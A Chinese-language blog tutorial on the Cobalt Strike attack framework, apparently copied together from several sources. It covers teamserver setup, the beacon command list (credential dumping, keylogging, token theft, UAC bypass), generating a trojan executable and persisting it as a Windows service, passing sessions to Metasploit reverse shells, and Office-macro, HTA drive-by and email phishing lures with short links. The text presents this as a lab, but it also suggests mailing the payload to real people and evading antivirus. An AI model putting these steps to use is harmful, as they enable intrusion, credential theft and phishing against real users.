cs工具

作者: 卿酌南烛_b805 | 来源:发表于2020-08-20 22:57 被阅读0次

    CobaltStrike是一款美国RedTeam开发的渗透测试神器,常被业界人称为CS。最近这个工具大火,成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。同时,CobaltStrike还可以调用Mimikatz等其他知名工具,因此广受黑客喜爱。

    CobaltStrike分为客户端和服务端可分布式操作可以协同作战。但一定要架设在外网上。当然你知道利用这款工具主要用于内网渗透以及APT攻击。

    项目官网:https://www.cobaltstrike.com

    君子藏器于身待时而动,安全不露圭角覆盂之安。
    ——AnonySec
    https://payloads.cn

    更多干货技术文章请前往 AnonySec'Blog


    image

    前言

    Cobalt Strike 一款以Metasploit为基础的GUI框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,exe、powershell木马生成等。

    钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等。

    Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。

    Cobalt Strike 作为一款协同APT工具,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选。

    image image

    基本功能

    安装

    Cobalt Strike 分为客户端和服务端,可分布式操作、协同作战。服务器端只能运行在Linux系统中,可搭建在VPS上。

    服务端

    服务端关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行:

    chmod +x teamserver
    ./teamserver 10.11.42.202 test123  
    # 服务端真实IP(不能使用0.0.0.0或127.0.0.1)和连接密码
    
    
    image

    客户端

    客户端在Windows、Linux、Mac下都可以运行 (需要配置好Java环境)。启动Cobalt Strike客户端,输入服务端的IP以及端口、连接密码,用户名可以任意设置。

    image

    在控制台所有操作指令都会被记录保留在Cobalt Strike目录logs下。

    参数详情

    Cobalt Strike

    image
    New Connection #新的连接(支持连接多个服务器端)
    Preferences #偏好设置(设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录等)
    Visualization #窗口视图模式(展示输出结果的形式)
    VPN Interfaces #VPN接入
    Listenrs #监听器(创建Listener)
    Script Manager #脚本管理
    Close #关闭
    
    

    View

    image
    Applications #应用(显示受害者机器的应用信息)
    Credentials #凭证(通过hashdump或Mimikatz抓取过的密码都会储存在这里)
    Downloads #下载文件
    Event Log #事件日志(主机上线记录以及团队协作聊天记录)
    Keystrokes #键盘记录
    Proxy Pivots #代理模块
    Screenshots #截图
    Script Console #脚本控制台(可以加载各种脚本,增强功能https://github.com/rsmudge/cortana-scripts)
    Targets #显示目标主机
    Web Log #Web日志
    
    

    Attacks

    Packages
    image
    HTML Application #生成恶意的HTA木马文件
    MS Office Macro #生成office宏病毒文件
    Payload Generator #生成各种语言版本的payload
    USB/CD AutoPlay #生成利用自动播放运行的木马文件
    Windows Dropper #捆绑器,能够对文档类进行捆绑
    Windows Executable #生成可执行Payload
    Windows Executable(S) #把包含payload,Stageless生成可执行文件(包含多数功能)
    
    
    Web Drive-by
    image
    Manage #对开启的web服务进行管理
    Clone Site #克隆网站(可记录受害者提交的数据)
    Host File #提供Web以供下载某文件
    Scripted Web Delivery #提供Web服务,便于下载和执行PowerShell Payload,类似于Metasploit的web_delivery 
    Signed Applet Attack #启动一个Web服务以提供自签名Java Applet的运行环境
    Smart Applet Attack #自动检测Java版本并利用已知的exploits绕过security
    System Profiler #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
    
    

    Reporting

    image
    0\. Activity report #活动报告
    1\. Hosts report #主机报告
    2\. Indicators of Compromise #威胁报告
    3\. Sessions report #会话报告
    4\. Social engineering report #社会工程学报告
    5\. Tactics, Techniques, and Procedures #策略、技巧和程序  
    Reset Data #重置数据
    Export Data #导出数据
    
    

    Help

    image
    Homepage #官方主页
    Support #技术支持
    Arsenal #开发者
    System information #版本信息
    About #关于
    
    

    右键菜单

    image

    Access

    Dump Hashes #获取hash
    Elevate #提权
    Golden Ticket #生成黄金票据注入当前会话
    Make token #凭证转换
    Run Mimikatz #运行 Mimikatz 
    Spawn As #用其他用户生成Cobalt Strike侦听器
    
    

    Explore

    Browser Pivot #劫持目标浏览器进程
    Desktop(VNC) #桌面交互
    File Browser #文件浏览器
    Net View #命令Net View
    Port Scan #端口扫描
    Process List #进程列表
    Screenshot #截图
    
    

    Pivoting

    SOCKS Server #代理服务
    Listener #反向端口转发
    Deploy VPN #部署VPN
    
    

    Spawn

    外部监听器(如指派给MSF,获取meterpreter权限)

    Session

    Note #备注
    Remove #删除
    Sleep #指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务。实际中频率不宜过快,容易被发现。
    Exit #退出
    
    

    Interact(打开beacon)控制台的基本使用

    beacon> help
    
    Beacon Commands
    ===============
    
    Command                   Description
    -------                   -----------
    argue                     进程参数欺骗
    blockdlls                 阻止子进程加载非Microsoft DLL
    browserpivot              注入受害者浏览器进程
    bypassuac                 绕过UAC提升权限
    cancel                    取消正在进行的下载
    cd                        切换目录
    checkin                   强制让被控端回连一次
    clear                     清除beacon内部的任务队列
    connect                   Connect to a Beacon peer over TCP
    covertvpn                 部署Covert VPN客户端
    cp                        复制文件
    dcsync                    从DC中提取密码哈希
    desktop                   远程桌面(VNC)
    dllinject                 反射DLL注入进程
    dllload                   使用LoadLibrary将DLL加载到进程中
    download                  下载文件
    downloads                 列出正在进行的文件下载
    drives                    列出目标盘符
    elevate                   使用exp
    execute                   在目标上执行程序(无输出)
    execute-assembly          在目标上内存中执行本地.NET程序
    exit                      终止beacon会话
    getprivs                  Enable system privileges on current token
    getsystem                 尝试获取SYSTEM权限
    getuid                    获取用户ID
    hashdump                  转储密码哈希值
    help                      帮助
    inject                    在注入进程生成会话
    jobkill                   结束一个后台任务
    jobs                      列出后台任务
    kerberos_ccache_use       从ccache文件中导入票据应用于此会话
    kerberos_ticket_purge     清除当前会话的票据
    kerberos_ticket_use       Apply 从ticket文件中导入票据应用于此会话
    keylogger                 键盘记录
    kill                      结束进程
    link                      Connect to a Beacon peer over a named pipe
    logonpasswords            使用mimikatz转储凭据和哈希值
    ls                        列出文件
    make_token                创建令牌以传递凭据
    mimikatz                  运行mimikatz
    mkdir                     创建一个目录
    mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
    mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
    mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
    mode http                 使用HTTP作为通信通道
    mv                        移动文件
    net                       net命令
    note                      备注       
    portscan                  进行端口扫描
    powerpick                 通过Unmanaged PowerShell执行命令
    powershell                通过powershell.exe执行命令
    powershell-import         导入powershell脚本
    ppid                      Set parent PID for spawned post-ex jobs
    ps                        显示进程列表
    psexec                    Use a service to spawn a session on a host
    psexec_psh                Use PowerShell to spawn a session on a host
    psinject                  在特定进程中执行PowerShell命令
    pth                       使用Mimikatz进行传递哈希
    pwd                       当前目录位置
    reg                       Query the registry
    rev2self                  恢复原始令牌
    rm                        删除文件或文件夹
    rportfwd                  端口转发
    run                       在目标上执行程序(返回输出)
    runas                     以其他用户权限执行程序
    runasadmin                在高权限下执行程序
    runu                      Execute a program under another PID
    screenshot                屏幕截图
    setenv                    设置环境变量
    shell                     执行cmd命令
    shinject                  将shellcode注入进程
    shspawn                   启动一个进程并将shellcode注入其中
    sleep                     设置睡眠延迟时间
    socks                     启动SOCKS4代理
    socks stop                停止SOCKS4
    spawn                     Spawn a session 
    spawnas                   Spawn a session as another user
    spawnto                   Set executable to spawn processes into
    spawnu                    Spawn a session under another PID
    ssh                       使用ssh连接远程主机
    ssh-key                   使用密钥连接远程主机
    steal_token               从进程中窃取令牌
    timestomp                 将一个文件的时间戳应用到另一个文件
    unlink                    Disconnect from parent Beacon
    upload                    上传文件
    wdigest                   使用mimikatz转储明文凭据
    winrm                     使用WinRM横向渗透
    wmi                       使用WMI横向渗透
    
    

    使用

    Listeners简介

    在本版本Cobalt Strike 3.14中,提供了如图9种 Listener (监听器)。

    image
    windows/beacon_dns/reverse_dns_txt
    windows/beacon_dns/reverse_http
    windows/beacon_http/reverse_http
    windows/beacon_https/reverse_https
    windows/beacon_smb/bind_pipe
    windows/beacon_tcp/bind_tcp
    windows/foreign/reverse_http
    windows/foreign/reverse_https
    windows/foreign/reverse_tcp (3.13版后增加,支持linuxSSH会话)
    
    
    • beacon_xx 系列为Cobalt Strike自身,包括 dns、http、https、smb 四种方式的监听器。
    • foreign 系列为外部监听器,通常与MSF或者Armitage联动。

    在Cobalt Strike 3.13版本后增加了一个新的 Listeners (windows/beacon_tcp/bind_tcp) ,它支持linuxSSH会话。具体更新内容可以查阅 官网

    创建一个服务

    首先配置一个监听器

    image

    选择 Attacks > Packages > Windows Executable

    image

    上线成功,在 Event Log 处出现上线信息。

    image

    Beacon

    右键目标interact来使用Beacon,用它来执行各种命令。在Cobalt Strike中,默认心跳为60s,执行命令的响应很慢,在下载文件时更加明显,所以根据实战环境把时间降低,建议不要太快,否则流量会相对明显。

    image

    在这里设置sleep 10,同时在beacon中,如果想对目标进行命令管理,需要在前面加上shell,如shell whoamishell ipconfig等。

    总结

    这里只是简单描述CobaltStrike的用法,其中还有很多功能的使用,需要实际操作中去发现。更核心的地方在于理解CobaltStrike的Beacon在内网中的通信过程,这对于渗透者能否更进一步深入内网起到重要作用,也是神器的价值所在。

    在渗透过程中,不要仅限于单一模式的思路,根据实际的情况,选择更优的方法来进行下一步的渗透测试。


    实验环境:

    服务器端(Linux):192.168.0.109靶机(windows):192.168.19.130

    使用cobaltstrike 3.14

    实验步骤

    将工具上传到kali系统中运行时给777权限

    root@kali:/mnt/cobaltstrike# chmod 777

    /mnt/cobaltstrike/

    一、启动,连接服务器

    启动服务端:(test 为待会靶机连接服务器的密码)./teamserver 192.168.19.146 test

    Test为密码hash密码要与客户端一样诺不一样则此软件存在后面

    image

    客户端连接服务器运行:cobalstrike.bat

    image image

    启动客户端,输入ip,密码,端口,用户默认

    如果客户端 是Linux操作系统则运行以下命令,启动客户端:java -Dfile.encoding=UTF-8

    -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap

    -XX:+UseParallelGC -jar cobaltstrike.jar

    创建监听器。4.0一、创建监听器

    1、点击 Cobalt Strike ->

    Listeners->Add,其中内置了八个Payload,

    wndows/beacon_dns/reverse_dns_txt

    windows/beacon_http/reverse_http

    windows/beacon_https/reverse_https

    windows/beacon_bind_pipe

    windows/beacon_tcp

    windows/beacon_extc2

    windows/foreign/reverse_http

    windows/foreign/reverse_https

    image image

    生成木马创建payload 让主机上线

    image image

    运行该exe主机成功上线:可以查看上线主机的磁盘信息,进行端口扫描,查看进程等信息。

    同理如果将生成的artifact.exe作为附件发送给其他人,只要有人点击,则他的机器会上线。不过现在的电脑都装了杀毒软件,所以payload需做免杀。这个后续在研发

    image image

    HttpsPayload应用

    优点:可能过行为查杀、另外administrator运行可直接提升为system权限

    第一步

    image

    第二步:创建服务

    Sc create test binpath= ”c:\test.exe”

    start= auto displayname= ”test”

    Sc start test

    Sc delete test

    Sc top test


    1、结合metasploit,反弹shell

    1. MSF中use exploit/multi/handler,然后set payload windows/meterpreter/reverse_tcp、set lhost、set lport;然后CS中新建监听器;一个test社工肉鸡运行,然后新建监听器reverse_tcp派生会话,run:

    image

    新建两个监听器一个放木马上线

    在靶机中使用Cobalt Strike创建一个windows/foreign/reverse_tcp的Listener。其中ip为Metasploit的ip地址,端口为Metasploit所监听的端口。

    选中刚刚新建msf

    image image image image

    派生给reverse_tcp然后Exploit

    2、office宏钓鱼

    攻击→后门→MS office 然后复制恶意代码→插入office的宏中,社工肉鸡打开即可

    image image image

    下载运行则中招

    Cs 生成的代码直接放到创建里面去,注意:做试验的时候,宏的位置不要设置所有的活动模板和文档,建设应用在当前文档,不然本机所有word文档运行都会种上你的木马,另外打开word文档有宏提示,一般是word默认禁用所有宏(文件—选项—信任中心—信任中心设置里面配置)。

    3、hta网页挂马

    第一步:生成hta

    image image

    第二步:使用文件下载

    image image

    点击开始之后,evil.hta文件会自动传到cs uploads目录。

    image image

    如果之前设置过钓鱼页面,记得一定要删掉,不然会克隆的时候会报错

    image

    总结:

    1. 先制作HTML:http://192.168.1.184:80/test.hta

    2. 钓鱼攻击→文件下载:http://192.168.1.184:80/download/file.ext

    3. 钓鱼攻击→克隆网站:http://192.168.1.184:80/

    4. 社工肉鸡打开:

    image

    键盘记录

    4、邮件钓鱼

    1. 邮件钓鱼:

    image image

    附件下载后运行

    5. 信息收集

    制作好钓鱼页面:可以使用https://bitly.com制作短网址,然后让对方打开:

    image

    然后设置好跳转的网址

    image

    以通过https://bitly.com生成url短链接 ()

    6. socks代理:

    win7双网卡:内网:172.16.2.1

    win2003:172.16.2.2

    image

    win7双网卡

    image

    2003内网:172.16.2.1

    MSF中:setg Proxies socks4:192.168.1.184:40520;use auxiliary/scanner/smb/smb_version;然后set rhosts 172.16.2.2;run

    image image

    小结:

    1. CS可以创建多个客户端,操作方便

    2. 功能扩展比较多,如:payload可以多种语言。

    3. 支持宏的办公软件都可以(office/WPS)

    4. 默认宏安全性高/非常安全,运行宏时会提示;中低不会提示,打开world有提示,说明宏很有可能有木马。

    相关文章

      网友评论

          本文标题:cs工具

          本文链接:https://www.haomeiwen.com/subject/elcyjktx.html